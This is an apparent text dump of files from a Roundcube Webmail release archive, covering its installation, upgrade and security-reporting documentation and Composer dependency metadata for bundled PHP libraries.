                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.3"
            },
            "funding": [
                {
                    "url": "https://symfony.com/sponsor",
                    "type": "custom"
                },
                {
                    "url": "https://github.com/fabpot",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
                    "type": "tidelift"
                }
            ],
            "time": "2023-01-24T14:02:46+00:00"
        }
    ],
    "packages-dev": [],
    "aliases": [],
    "minimum-stability": "stable",
    "stability-flags": [],
    "prefer-stable": false,
    "prefer-lowest": false,
    "platform": {
        "php": ">=7.3.0"
    },
    "platform-dev": [],
    "platform-overrides": {
        "php": "7.3"
    },
    "plugin-api-version": "2.6.0"
}
PKh�\[���u1u1INSTALLnu�[���INTRODUCTION
============

This file describes the basic steps to install Roundcube Webmail on your
web server. For additional information, please also consult the project's
wiki page at https://github.com/roundcube/roundcubemail/wiki


REQUIREMENTS
============

* An IMAP, HTTP and SMTP server
* .htaccess support allowing overrides for DirectoryIndex
* PHP Version 7.3 or greater including:
   - PCRE, DOM, JSON, Session, Sockets, OpenSSL, Mbstring, Filter, Ctype, Intl (required)
   - PHP PDO with driver for either MySQL, PostgreSQL, SQL Server, Oracle or SQLite (required)
   - Iconv, Zip, Fileinfo, Exif (recommended)
   - LDAP for LDAP addressbook support (optional)
   - GD, Imagick, XMLWriter (optional: thumbnails generation, QR-code)
* PEAR and PEAR packages distributed with Roundcube or external.
  See composer.json-dist for the list of required packages.
* php.ini options:
   - error_reporting E_ALL & ~E_NOTICE & ~E_STRICT
   - memory_limit > 16MB
   - file_uploads enabled (for uploading attachments and import files)
   - session.auto_start disabled
   - suhosin.session.encrypt disabled
   - mbstring.func_overload disabled
   - pcre.backtrack_limit >= 100000
* A MySQL, PostgreSQL, MS SQL Server (2005 or newer), Oracle database
  or SQLite v3 support in PHP - with permission to create tables
* Composer installed either locally or globally (https://getcomposer.org)


INSTALLATION
============

1. Decompress and put this folder somewhere inside your document root.
  Note: Make sure files have proper owner/group for your setup. If you use
  tar command `--no-same-owner` option might be helpful.
2. In case you don't use the so-called "complete" release package,
  you have to install PHP and javascript dependencies.
  2.1. Install PHP dependencies using composer:
    - get composer from https://getcomposer.org/download/
    - rename the composer.json-dist file into composer.json
    - if you want to use LDAP address books, enable the LDAP libraries in your
      composer.json file by moving the items from "suggest" to the "require"
      section (remove the explanation texts after the version!).
    - run `php composer.phar install --no-dev`
  2.2. Install Javascript dependencies by executing `bin/install-jsdeps.sh` script.
3. Make sure that the following directories (and the files within)
   are writable by the webserver
   - /temp
   - /logs
4. Create a new database and a database user for Roundcube (see DATABASE SETUP)
5. Point your browser to http://url-to-roundcube/installer/
6. Follow the instructions of the install script (or see MANUAL CONFIGURATION)
7. After creating and testing the configuration, remove the installer directory
   ------------------------------------------
   IMPORTANT: REMOVE THE INSTALLER DIRECTORY!
   ------------------------------------------
8. If you use git sources compile css files for the Elastic skin (required
   lessc >= 2.5.2):
   $ cd skins/elastic
   $ lessc --clean-css="--s1 --advanced" styles/styles.less > styles/styles.min.css
   $ lessc --clean-css="--s1 --advanced" styles/print.less > styles/print.min.css
   $ lessc --clean-css="--s1 --advanced" styles/embed.less > styles/embed.min.css
9. Check Known Issues section of this file


CONFIGURATION HINTS
===================

IMPORTANT! Read all comments in defaults.inc.php, understand them
and configure your installation to be not surprised by default behaviour.

Roundcube writes internal errors to the 'errors.log' log file located in the logs
directory which can be configured in config/config.inc.php. If you want ordinary
PHP errors to be logged there as well, set error_log in php.ini or .htaccess file.

Roundcube forces display_errors=Off and log_errors=On.

By default the session cookie settings of PHP are not modified by Roundcube.
However if you want to limit the session cookies to the directory where
Roundcube resides you can set session.cookie_path in the php.ini or .htaccess file.

More about PHP settings: https://github.com/roundcube/roundcubemail/wiki/Installation#php-configuration


DATABASE SETUP
==============

Note: Database for Roundcube must use UTF-8 character set.
Note: See defaults.inc.php file for examples of DSN configuration.

* MySQL
-------
Setting up the mysql database can be done by creating an empty database,
importing the table layout and granting the proper permissions to the
roundcube user. Here is an example of that procedure:

# mysql
> CREATE DATABASE roundcubemail CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
> CREATE USER roundcube@localhost IDENTIFIED BY 'password';
> GRANT ALL PRIVILEGES ON roundcubemail.* TO roundcube@localhost;
> quit

Note 1: 'password' is the master password for the roundcube user. It is strongly
recommended you replace this with a more secure password. Please keep in
mind that you must specify this password later in 'config/config.inc.php'.

Note 2: When using MySQL < 5.7.7 or MariaDB < 10.2.2 it is required to configure
the database engine with:
    innodb_large_prefix=1
    innodb_file_per_table=1
    innodb_file_format=Barracuda

Now you can run the Installer or configure the database access options in
'config/config.inc.php' and run: `bin/initdb.sh --dir=SQL`.


* SQLite
--------
Versions of sqlite database engine older than 3.6.19 aren't supported.
Database file and structure is created automatically by Roundcube.
Make sure your configuration points to some file location and that the
webserver can write to the file and the directory containing the file.


* PostgreSQL
------------
To use Roundcube with PostgreSQL support you have to follow these
simple steps, which have to be done as the postgres system user (or
which ever is the database superuser):

$ createuser -P roundcube
$ createdb -O roundcube -E UNICODE roundcubemail

Note: in some system configurations you might need to add '-U postgres' to
createuser and createdb commands.

Now you can run the Installer or configure the database access options in
'config/config.inc.php' and run: `bin/initdb.sh --dir=SQL`.


* Microsoft SQL Server
----------------------
Language/locale of the database must be set to us_english (1033). More info
on this at https://github.com/roundcube/roundcubemail/issues/4078.


Database cleaning
-----------------
To keep your database slick and clean we recommend to periodically execute
bin/cleandb.sh which finally removes all records that are marked as deleted.
Best solution is to install a cronjob running this script daily.


MANUAL CONFIGURATION
====================

First of all, copy the sample configuration file config/config.inc.php.sample
to config/config.inc.php and make the necessary adjustments according to your
environment and your needs. More configuration options can be copied from the
config/defaults.inc.php file into your local config.inc.php file as needed.
Read the comments above the individual configuration options to find out what
they do or read https://github.com/roundcube/roundcubemail/wiki/Installation
for even more guidance.

The maximum size of email attachments and other file uploads is controlled by
PHP settings: upload_max_filesize and post_max_size. Read more about PHP
settings at https://github.com/roundcube/roundcubemail/wiki/Installation#php-configuration.


SECURE YOUR INSTALLATION
========================

Access through the webserver to the following directories should be denied:

  /config
  /temp
  /logs

Roundcube uses .htaccess files to protect these directories, so be sure to
allow override of the Limit directives to get them taken into account. The
package also ships a .htaccess file in the root directory which defines some
rewrite rules. In order to properly secure your installation, please enable
mod_rewrite for Apache webserver and double check access to the above listed
directories and their contents is denied.

NOTE: In Apache 2.4, support for .htaccess files has been disabled by
default. Therefore you first need to enable this in your Apache main or
virtual host config by with:

  AllowOverride all

For non-apache web servers add equivalent configuration parameters to deny
direct access to these private resources.

It is also recommended to change the document root to <install path>/public_html
after installation if Roundcube runs at root of a dedicated virtual host. This
will automatically keep sensitive files out of reach for http requests.


UPGRADING
=========

If you already have a previous version of Roundcube installed,
please refer to the instructions in UPGRADING guide.


OPTIMISING
==========

There are two forms of optimization here, compression and caching, both aimed
at increasing an end user's experience using Roundcube Webmail. Compression
allows the static web pages to be delivered with less bandwidth. The index.php
of Roundcube Webmail already enables compression on its output. The settings
below allow compression to occur for all static files. Caching sets HTTP 
response headers that enable a user's web client to understand what is static
and how to cache it.

The caching directives used are:
 * Etags - sets at tag so the client can request is the page has changed
 * Cache-control - defines the age of the page and that the page is 'public'
   This enables clients to cache javascript files that don't have private 
   information between sessions even if using HTTPS. It also allows proxies
   to share the same cached page between users.
 * Expires - provides another hint to increase the lifetime of static pages.

For more information refer to RFC 2616.

Side effects:
-------------
These directives are designed for production use. If you are using this in
a development environment you may get horribly confused if your webclient
is caching stuff that you changed on the server. Disabling the expires 
parts below should save you some grief.

If you are changing the skins, it is recommended that you copy content to 
a different directory apart from 'default'.

Apache:
-------
To enable these features in apache the following modules need to be enabled:
 * mod_deflate
 * mod_expires
 * mod_headers

The optimization is already included in the .htaccess file in the top 
directory of your installation.

Lighttpd:
---------
With Lighttpd the addition of Expire: tags by mod_expire is incompatible with
the addition of "Cache-control: public". Using Cache-control 'public' is 
used below as it is assumed to give a better caching result.

Enable modules in server.modules:
    "mod_setenv"
    "mod_compress"

Mod_compress is a server side cache of compressed files to improve its performance.

$HTTP["host"] == "www.example.com" {

    static-file.etags = "enable"
    # http://redmine.lighttpd.net/projects/lighttpd/wiki/Etag.use-mtimeDetails
    etag.use-mtime = "enable"

    # http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:ModSetEnv
    $HTTP["url"] =~ "^/roundcubemail/(plugins|skins|program)" {
        setenv.add-response-header  = ( "Cache-Control" => "public, max-age=2592000")
    }

    # http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:ModCompress
    # set compress.cache-dir to somewhere outside the docroot.
    compress.cache-dir   = var.statedir + "/cache/compress"

    compress.filetype = ("text/plain", "text/html", "text/javascript", "text/css", "text/xml", "image/gif", "image/png")
}


KNOWN ISSUES
============

Installations with uw-imap server should set imap_disabled_caps = array('ESEARCH')
in main configuration file. ESEARCH implementation in this server is broken (#1489184).

PHP >= 5.6 validates the ssl certificates by default. It means that
if IMAP/SMTP certificates are self-signed or use wrong host name you'll get
connection errors. A solution in such cases is to set imap_conn_options,
smtp_conn_options and managesieve_conn_options in a way described in config/defaults.inc.php.

If you have problems with temp files or non-working logs make sure temp and logs folders
are writeable to the user used by http server. Access to them may also be blocked by
SELINUX. Here's some sample commands for SELINUX:

    $ semanage fcontext -a -t httpd_sys_rw_content_t "/path_to_roundcube/logs(/.*)?"
    $ semanage fcontext -a -t httpd_sys_rw_content_t "/path_to_roundcube/temp(/.*)?"
    $ restorecon -Rv /path_to_roundcube/

Microsoft IIS Server by default does not support WOFF fonts used in Elastic skin. It might be
needed to add following MIME Types definitions (via web.config or IIS Manager):

    .woff   application/font-woff
    .woff2  application/font-woff2

When installing on Windows be aware we're using symbolic links which may need an additional
attention. See https://github.com/roundcube/roundcubemail/issues/7151.
PKh�\D�5q��SECURITY.mdnu�[���# Security Policy

## Supported Versions

Check our website's [download page](https://roundcube.net/download/) to see which versions are still supported and will receive security updates.

## Reporting a Vulnerability

If you found a security issue or vulnerability of the software, please report with direct and encrypted email to *thomas[at]roundcube.net*
and *alec[at]alec.pl*. You can find the according PGP public keys on the major public keyservers like [pgp.key-server.io](https://pgp.key-server.io).

Your report should include clear steps for reproduction and a classification of the found vulnerability.

## Publishing and Credits

We're dedicated to analyze and fix the reported issues as fast a possible. Usually within days we'll have an update ready.
Together with the reporter we plan the releasing and the disclosure of the found and fixed vulnerability.
Credits to the reporter are granted and can be included in all public communication if desired.
PKh�\�S��11	UPGRADINGnu�[���UPGRADING instructions
======================

Follow these instructions if upgrading from a previous version
of Roundcube Webmail. We recommend to carefully backup the existing
installation as well as the database before going through the following steps.

Using the update script
-----------------------
There is a shell script (for unix based systems) that does the job for you.
To use it, unpack the archive of the new Roundcube version to a temporary location
(don't replace the Roundcube installation you want to update)
and cd into that directory. From there, run the following command in a shell:

  ./bin/installto.sh <TARGET-FOLDER>

For <TARGET-FOLDER> you specify the path to the Roundcube installation
which should be updated. The update script will then copy all new files to the
target location and check and update the configuration and database schema.
After all is done, the temporary folder with the new Roundcube files can be
removed again.

WARNING: Make sure files have proper owner/group for your setup. If you use
         tar to extract the package, `--no-same-owner` option might be helpful.
WARNING: See Post-Upgrade Activities section below.
WARNING: If you use MySQL < 5.7.7 or MariaDB < 10.2.2 make sure to configure it with:
            innodb_large_prefix=1
            innodb_file_per_table=1
            innodb_file_format=Barracuda


Updating manually
-----------------
If you don't have shell access to the Roundcube installation or if not running
it on a unix system, you need to do the following operations by hand:

1. Replace index.php and all files in
   - ./bin/
   - ./SQL/
   - ./program/
   - ./installer/
2. Replace the configuration defaults files:
   - config/defaults.inc.php
   - config/mimetypes.php
3. rsync the contents of the following folders from your installation
   directory into the target folder:
   ./skins/
   ./plugins/
   ./vendor/
4. Update dependencies:
4a. If you previously installed plugins through composer, update dependencies
   by running `php composer.phar update --no-dev`.
4b. Install/update dependencies using composer:
   - get composer from https://getcomposer.org/download/
   - rename the composer.json-dist file into composer.json
   - if you want to use LDAP address books, enable the LDAP libraries in your
     composer.json file by moving the items from "suggest" to the "require"
     section (remove the explanation texts after the version!).
   - run `php composer.phar install --no-dev`.
4c. If you use git sources or the release package without dependencies
   update javascript dependencies by executing `bin/install-jsdeps.sh` script.
4d. If you use git sources compile css files for the Elastic skin (required
   lessc >= 2.5.2):
   $ cd skins/elastic
   $ lessc --clean-css="--s1 --advanced" styles/styles.less > styles/styles.min.css
   $ lessc --clean-css="--s1 --advanced" styles/print.less > styles/print.min.css
   $ lessc --clean-css="--s1 --advanced" styles/embed.less > styles/embed.min.css
5. Run `./bin/update.sh` from the commandline OR
   open http://url-to-roundcube/installer/ in a browser and choose "3 Test config".
   To enable the latter one, you have to temporary set 'enable_installer'
   to true in your local config/config.inc.php file.
   WARNING: See SQLite database upgrade below.
6. Let the update script/installer check your configuration and
   update your config files and database schema as suggested by the updater.
7. Make sure 'enable_installer' is set to false again.
8. See Post-Upgrade Activities section.


Post-Upgrade Activities
-----------------------
1. Check system requirements in INSTALL file.
2. If you're using build-in addressbook, run indexing script /bin/indexcontacts.sh.
3. When upgrading from version older than 0.6-beta you should make sure
   your folder settings contain namespace prefix. For example Courier users
   should add INBOX. prefix to folder names in main configuration file.
4. When upgrading from version older than 1.4.0 make sure old files
   in configured temp_dir are removed. Since this version we use constant filename
   prefix and do not remove files not starting with "RCMTEMP".


SQLite database upgrade
-----------------------

Versions older than 0.9 were supporting SQLite v2 only. Newer versions require
database in v3 format. The best what you can do is to convert database file
to the new format using command line tools:

sqlite OLD.DB .dump | sqlite3 NEW.DB


Other tools
-----------
In case you need to only update the database schema you can use updatedb.sh script.
For example, to update the Roundcube core database run:

  ./bin/updatedb.sh --package=roundcube --dir=SQL
PKh�\QuQ�����vendor/composer/installed.jsonnu�[���{
    "packages": [
        {
            "name": "bacon/bacon-qr-code",
            "version": "2.0.8",
            "version_normalized": "2.0.8.0",
            "source": {
                "type": "git",
                "url": "https://github.com/Bacon/BaconQrCode.git",
                "reference": "8674e51bb65af933a5ffaf1c308a660387c35c22"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/8674e51bb65af933a5ffaf1c308a660387c35c22",
                "reference": "8674e51bb65af933a5ffaf1c308a660387c35c22",
                "shasum": ""
            },
            "require": {
                "dasprid/enum": "^1.0.3",
                "ext-iconv": "*",
                "php": "^7.1 || ^8.0"
            },
            "require-dev": {
                "phly/keep-a-changelog": "^2.1",
                "phpunit/phpunit": "^7 | ^8 | ^9",
                "spatie/phpunit-snapshot-assertions": "^4.2.9",
                "squizlabs/php_codesniffer": "^3.4"
            },
            "suggest": {
                "ext-imagick": "to generate QR code images"
            },
            "time": "2022-12-07T17:46:57+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "BaconQrCode\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Ben Scholzen 'DASPRiD'",
                    "email": "mail@dasprids.de",
                    "homepage": "https://dasprids.de/",
                    "role": "Developer"
                }
            ],
            "description": "BaconQrCode is a QR code generator for PHP.",
            "homepage": "https://github.com/Bacon/BaconQrCode",
            "support": {
                "issues": "https://github.com/Bacon/BaconQrCode/issues",
                "source": "https://github.com/Bacon/BaconQrCode/tree/2.0.8"
            },
            "install-path": "../bacon/bacon-qr-code"
        },
        {
            "name": "dasprid/enum",
            "version": "1.0.5",
            "version_normalized": "1.0.5.0",
            "source": {
                "type": "git",
                "url": "https://github.com/DASPRiD/Enum.git",
                "reference": "6faf451159fb8ba4126b925ed2d78acfce0dc016"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/DASPRiD/Enum/zipball/6faf451159fb8ba4126b925ed2d78acfce0dc016",
                "reference": "6faf451159fb8ba4126b925ed2d78acfce0dc016",
                "shasum": ""
            },
            "require": {
                "php": ">=7.1 <9.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^7 | ^8 | ^9",
                "squizlabs/php_codesniffer": "*"
            },
            "time": "2023-08-25T16:18:39+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "DASPRiD\\Enum\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-2-Clause"
            ],
            "authors": [
                {
                    "name": "Ben Scholzen 'DASPRiD'",
                    "email": "mail@dasprids.de",
                    "homepage": "https://dasprids.de/",
                    "role": "Developer"
                }
            ],
            "description": "PHP 7.1 enum implementation",
            "keywords": [
                "enum",
                "map"
            ],
            "support": {
                "issues": "https://github.com/DASPRiD/Enum/issues",
                "source": "https://github.com/DASPRiD/Enum/tree/1.0.5"
            },
            "install-path": "../dasprid/enum"
        },
        {
            "name": "guzzlehttp/guzzle",
            "version": "7.8.1",
            "version_normalized": "7.8.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/guzzle/guzzle.git",
                "reference": "41042bc7ab002487b876a0683fc8dce04ddce104"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/41042bc7ab002487b876a0683fc8dce04ddce104",
                "reference": "41042bc7ab002487b876a0683fc8dce04ddce104",
                "shasum": ""
            },
            "require": {
                "ext-json": "*",
                "guzzlehttp/promises": "^1.5.3 || ^2.0.1",
                "guzzlehttp/psr7": "^1.9.1 || ^2.5.1",
                "php": "^7.2.5 || ^8.0",
                "psr/http-client": "^1.0",
                "symfony/deprecation-contracts": "^2.2 || ^3.0"
            },
            "provide": {
                "psr/http-client-implementation": "1.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.8.2",
                "ext-curl": "*",
                "php-http/client-integration-tests": "dev-master#2c025848417c1135031fdf9c728ee53d0a7ceaee as 3.0.999",
                "php-http/message-factory": "^1.1",
                "phpunit/phpunit": "^8.5.36 || ^9.6.15",
                "psr/log": "^1.1 || ^2.0 || ^3.0"
            },
            "suggest": {
                "ext-curl": "Required for CURL handler support",
                "ext-intl": "Required for Internationalized Domain Name (IDN) support",
                "psr/log": "Required for using the Log middleware"
            },
            "time": "2023-12-03T20:35:24+00:00",
            "type": "library",
            "extra": {
                "bamarni-bin": {
                    "bin-links": true,
                    "forward-command": false
                }
            },
            "installation-source": "dist",
            "autoload": {
                "files": [
                    "src/functions_include.php"
                ],
                "psr-4": {
                    "GuzzleHttp\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Graham Campbell",
                    "email": "hello@gjcampbell.co.uk",
                    "homepage": "https://github.com/GrahamCampbell"
                },
                {
                    "name": "Michael Dowling",
                    "email": "mtdowling@gmail.com",
                    "homepage": "https://github.com/mtdowling"
                },
                {
                    "name": "Jeremy Lindblom",
                    "email": "jeremeamia@gmail.com",
                    "homepage": "https://github.com/jeremeamia"
                },
                {
                    "name": "George Mponos",
                    "email": "gmponos@gmail.com",
                    "homepage": "https://github.com/gmponos"
                },
                {
                    "name": "Tobias Nyholm",
                    "email": "tobias.nyholm@gmail.com",
                    "homepage": "https://github.com/Nyholm"
                },
                {
                    "name": "Márk Sági-Kazár",
                    "email": "mark.sagikazar@gmail.com",
                    "homepage": "https://github.com/sagikazarmark"
                },
                {
                    "name": "Tobias Schultze",
                    "email": "webmaster@tubo-world.de",
                    "homepage": "https://github.com/Tobion"
                }
            ],
            "description": "Guzzle is a PHP HTTP client library",
            "keywords": [
                "client",
                "curl",
                "framework",
                "http",
                "http client",
                "psr-18",
                "psr-7",
                "rest",
                "web service"
            ],
            "support": {
                "issues": "https://github.com/guzzle/guzzle/issues",
                "source": "https://github.com/guzzle/guzzle/tree/7.8.1"
            },
            "funding": [
                {
                    "url": "https://github.com/GrahamCampbell",
                    "type": "github"
                },
                {
                    "url": "https://github.com/Nyholm",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle",
                    "type": "tidelift"
                }
            ],
            "install-path": "../guzzlehttp/guzzle"
        },
        {
            "name": "guzzlehttp/promises",
            "version": "2.0.2",
            "version_normalized": "2.0.2.0",
            "source": {
                "type": "git",
                "url": "https://github.com/guzzle/promises.git",
                "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/guzzle/promises/zipball/bbff78d96034045e58e13dedd6ad91b5d1253223",
                "reference": "bbff78d96034045e58e13dedd6ad91b5d1253223",
                "shasum": ""
            },
            "require": {
                "php": "^7.2.5 || ^8.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.8.2",
                "phpunit/phpunit": "^8.5.36 || ^9.6.15"
            },
            "time": "2023-12-03T20:19:20+00:00",
            "type": "library",
            "extra": {
                "bamarni-bin": {
                    "bin-links": true,
                    "forward-command": false
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "GuzzleHttp\\Promise\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Graham Campbell",
                    "email": "hello@gjcampbell.co.uk",
                    "homepage": "https://github.com/GrahamCampbell"
                },
                {
                    "name": "Michael Dowling",
                    "email": "mtdowling@gmail.com",
                    "homepage": "https://github.com/mtdowling"
                },
                {
                    "name": "Tobias Nyholm",
                    "email": "tobias.nyholm@gmail.com",
                    "homepage": "https://github.com/Nyholm"
                },
                {
                    "name": "Tobias Schultze",
                    "email": "webmaster@tubo-world.de",
                    "homepage": "https://github.com/Tobion"
                }
            ],
            "description": "Guzzle promises library",
            "keywords": [
                "promise"
            ],
            "support": {
                "issues": "https://github.com/guzzle/promises/issues",
                "source": "https://github.com/guzzle/promises/tree/2.0.2"
            },
            "funding": [
                {
                    "url": "https://github.com/GrahamCampbell",
                    "type": "github"
                },
                {
                    "url": "https://github.com/Nyholm",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises",
                    "type": "tidelift"
                }
            ],
            "install-path": "../guzzlehttp/promises"
        },
        {
            "name": "guzzlehttp/psr7",
            "version": "2.6.2",
            "version_normalized": "2.6.2.0",
            "source": {
                "type": "git",
                "url": "https://github.com/guzzle/psr7.git",
                "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/guzzle/psr7/zipball/45b30f99ac27b5ca93cb4831afe16285f57b8221",
                "reference": "45b30f99ac27b5ca93cb4831afe16285f57b8221",
                "shasum": ""
            },
            "require": {
                "php": "^7.2.5 || ^8.0",
                "psr/http-factory": "^1.0",
                "psr/http-message": "^1.1 || ^2.0",
                "ralouphie/getallheaders": "^3.0"
            },
            "provide": {
                "psr/http-factory-implementation": "1.0",
                "psr/http-message-implementation": "1.0"
            },
            "require-dev": {
                "bamarni/composer-bin-plugin": "^1.8.2",
                "http-interop/http-factory-tests": "^0.9",
                "phpunit/phpunit": "^8.5.36 || ^9.6.15"
            },
            "suggest": {
                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
            },
            "time": "2023-12-03T20:05:35+00:00",
            "type": "library",
            "extra": {
                "bamarni-bin": {
                    "bin-links": true,
                    "forward-command": false
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "GuzzleHttp\\Psr7\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Graham Campbell",
                    "email": "hello@gjcampbell.co.uk",
                    "homepage": "https://github.com/GrahamCampbell"
                },
                {
                    "name": "Michael Dowling",
                    "email": "mtdowling@gmail.com",
                    "homepage": "https://github.com/mtdowling"
                },
                {
                    "name": "George Mponos",
                    "email": "gmponos@gmail.com",
                    "homepage": "https://github.com/gmponos"
                },
                {
                    "name": "Tobias Nyholm",
                    "email": "tobias.nyholm@gmail.com",
                    "homepage": "https://github.com/Nyholm"
                },
                {
                    "name": "Márk Sági-Kazár",
                    "email": "mark.sagikazar@gmail.com",
                    "homepage": "https://github.com/sagikazarmark"
                },
                {
                    "name": "Tobias Schultze",
                    "email": "webmaster@tubo-world.de",
                    "homepage": "https://github.com/Tobion"
                },
                {
                    "name": "Márk Sági-Kazár",
                    "email": "mark.sagikazar@gmail.com",
                    "homepage": "https://sagikazarmark.hu"
                }
            ],
            "description": "PSR-7 message implementation that also provides common utility methods",
            "keywords": [
                "http",
                "message",
                "psr-7",
                "request",
                "response",
                "stream",
                "uri",
                "url"
            ],
            "support": {
                "issues": "https://github.com/guzzle/psr7/issues",
                "source": "https://github.com/guzzle/psr7/tree/2.6.2"
            },
            "funding": [
                {
                    "url": "https://github.com/GrahamCampbell",
                    "type": "github"
                },
                {
                    "url": "https://github.com/Nyholm",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7",
                    "type": "tidelift"
                }
            ],
            "install-path": "../guzzlehttp/psr7"
        },
        {
            "name": "kolab/net_ldap3",
            "version": "v1.1.5",
            "version_normalized": "1.1.5.0",
            "source": {
                "type": "git",
                "url": "https://git.kolab.org/diffusion/PNL/php-net_ldap3.git",
                "reference": "5a319cf437d75aad564ce7fd076cc5423722868b"
            },
            "require": {
                "pear/net_ldap2": ">=2.0.12",
                "php": ">=5.3.3"
            },
            "time": "2023-06-07T08:32:15+00:00",
            "type": "library",
            "installation-source": "source",
            "autoload": {
                "classmap": [
                    "lib/"
                ]
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-3.0+"
            ],
            "authors": [
                {
                    "name": "Jeroen van Meeuwen",
                    "email": "vanmeeuwen@kolabsys.com",
                    "role": "Lead"
                },
                {
                    "name": "Aleksander Machniak",
                    "email": "machniak@kolabsys.com",
                    "role": "Developer"
                },
                {
                    "name": "Thomas Bruederli",
                    "email": "roundcube@gmail.com",
                    "role": "Developer"
                }
            ],
            "description": "A successor of the PEAR:Net_LDAP2 module providing advanced functionality for accessing LDAP directories",
            "homepage": "http://git.kolab.org/pear/Net_LDAP3/",
            "keywords": [
                "PEAR",
                "ldap",
                "vlv"
            ],
            "install-path": "../kolab/net_ldap3"
        },
        {
            "name": "masterminds/html5",
            "version": "2.7.6",
            "version_normalized": "2.7.6.0",
            "source": {
                "type": "git",
                "url": "https://github.com/Masterminds/html5-php.git",
                "reference": "897eb517a343a2281f11bc5556d6548db7d93947"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/897eb517a343a2281f11bc5556d6548db7d93947",
                "reference": "897eb517a343a2281f11bc5556d6548db7d93947",
                "shasum": ""
            },
            "require": {
                "ext-ctype": "*",
                "ext-dom": "*",
                "ext-libxml": "*",
                "php": ">=5.3.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7"
            },
            "time": "2022-08-18T16:18:26+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.7-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Masterminds\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Matt Butcher",
                    "email": "technosophos@gmail.com"
                },
                {
                    "name": "Matt Farina",
                    "email": "matt@mattfarina.com"
                },
                {
                    "name": "Asmir Mustafic",
                    "email": "goetas@gmail.com"
                }
            ],
            "description": "An HTML5 parser and serializer.",
            "homepage": "http://masterminds.github.io/html5-php",
            "keywords": [
                "HTML5",
                "dom",
                "html",
                "parser",
                "querypath",
                "serializer",
                "xml"
            ],
            "support": {
                "issues": "https://github.com/Masterminds/html5-php/issues",
                "source": "https://github.com/Masterminds/html5-php/tree/2.7.6"
            },
            "install-path": "../masterminds/html5"
        },
        {
            "name": "pear/auth_sasl",
            "version": "v1.1.0",
            "version_normalized": "1.1.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Auth_SASL.git",
                "reference": "db1ead3dc0bf986d2bab0dbc04d114800cf91dee"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Auth_SASL/zipball/db1ead3dc0bf986d2bab0dbc04d114800cf91dee",
                "reference": "db1ead3dc0bf986d2bab0dbc04d114800cf91dee",
                "shasum": ""
            },
            "require": {
                "pear/pear_exception": "@stable"
            },
            "require-dev": {
                "phpunit/phpunit": "@stable"
            },
            "time": "2017-03-07T14:37:05+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "Auth": "./"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "include-path": [
                "./"
            ],
            "license": [
                "BSD"
            ],
            "authors": [
                {
                    "name": "Anish Mistry",
                    "email": "amistry@am-productions.biz",
                    "role": "Lead"
                },
                {
                    "name": "Richard Heyes",
                    "email": "richard@php.net",
                    "role": "Lead"
                },
                {
                    "name": "Michael Bretterklieber",
                    "email": "michael@bretterklieber.com",
                    "role": "Lead"
                }
            ],
            "description": "Abstraction of various SASL mechanism responses",
            "support": {
                "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Auth_SASL",
                "source": "https://github.com/pear/Auth_SASL"
            },
            "install-path": "../pear/auth_sasl"
        },
        {
            "name": "pear/console_commandline",
            "version": "v1.2.6",
            "version_normalized": "1.2.6.0",
            "source": {
                "type": "git",
                "url": "https://github.com/pear/Console_CommandLine.git",
                "reference": "611c5bff2e47ec5a184748cb5fedc2869098ff28"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/pear/Console_CommandLine/zipball/611c5bff2e47ec5a184748cb5fedc2869098ff28",
